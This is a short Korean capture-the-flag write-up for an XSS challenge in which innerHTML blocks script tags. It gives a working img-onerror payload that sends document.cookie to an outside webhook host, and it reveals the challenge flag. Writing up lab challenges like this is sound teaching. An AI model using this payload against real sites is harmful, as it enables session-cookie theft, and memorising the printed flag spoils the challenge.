기본적으로 XSS-1과 유사하지만, vuln 페이지에서 서버의 return 이 아닌 innerHTML을 사용하므로써 <script> 태그가 실행되지 않습니다.

( HTML5 부터는 innerHTML 사용 시 script 태그가 실행되지 않습니다. )

왼쪽 위는 XSS-2의 백엔드 코드, 오른쪽 위는 XSS-2 의 vuln.html 파일, 아래는 HTML파일이 없는 XSS-1의 백엔드 코드의 vuln 부분입니다.

왼쪽 위는 XSS-2의 백엔드 코드, 오른쪽 위는 XSS-2 의 vuln.html 파일, 아래는 HTML파일이 없는 XSS-1의 백엔드 코드의 vuln 부분입니다.

payload 만 조금 수정해주면 해결이 됩니다.

script태그가 아닌 일반적인 img 태그를 사용하고, 특정 환경(onerror 등) 이 트리거되었을 때 javascript가 실행되게 하면 됩니다.

<img src="" onerror="javascript:location.href='[<https://webhook.site/3b2c1822-cb06-40ca-a1e6-583116458c0d>](<https://webhook.site/3b2c1822-cb06-40ca-a1e6-583116458c0d>)/?flag='+document.cookie">

해당 페이로드의 경우 image source 가 없습니다. 따라서 오류가 뜨게 되고, onerror 을 통해 error가 났을 떄 어떻게 할지에 대해서 javascript로 써주게 되면 javascript가 실행됩니다.

flag=DH{3c01577e9542ec24d68ba0ffb846508f}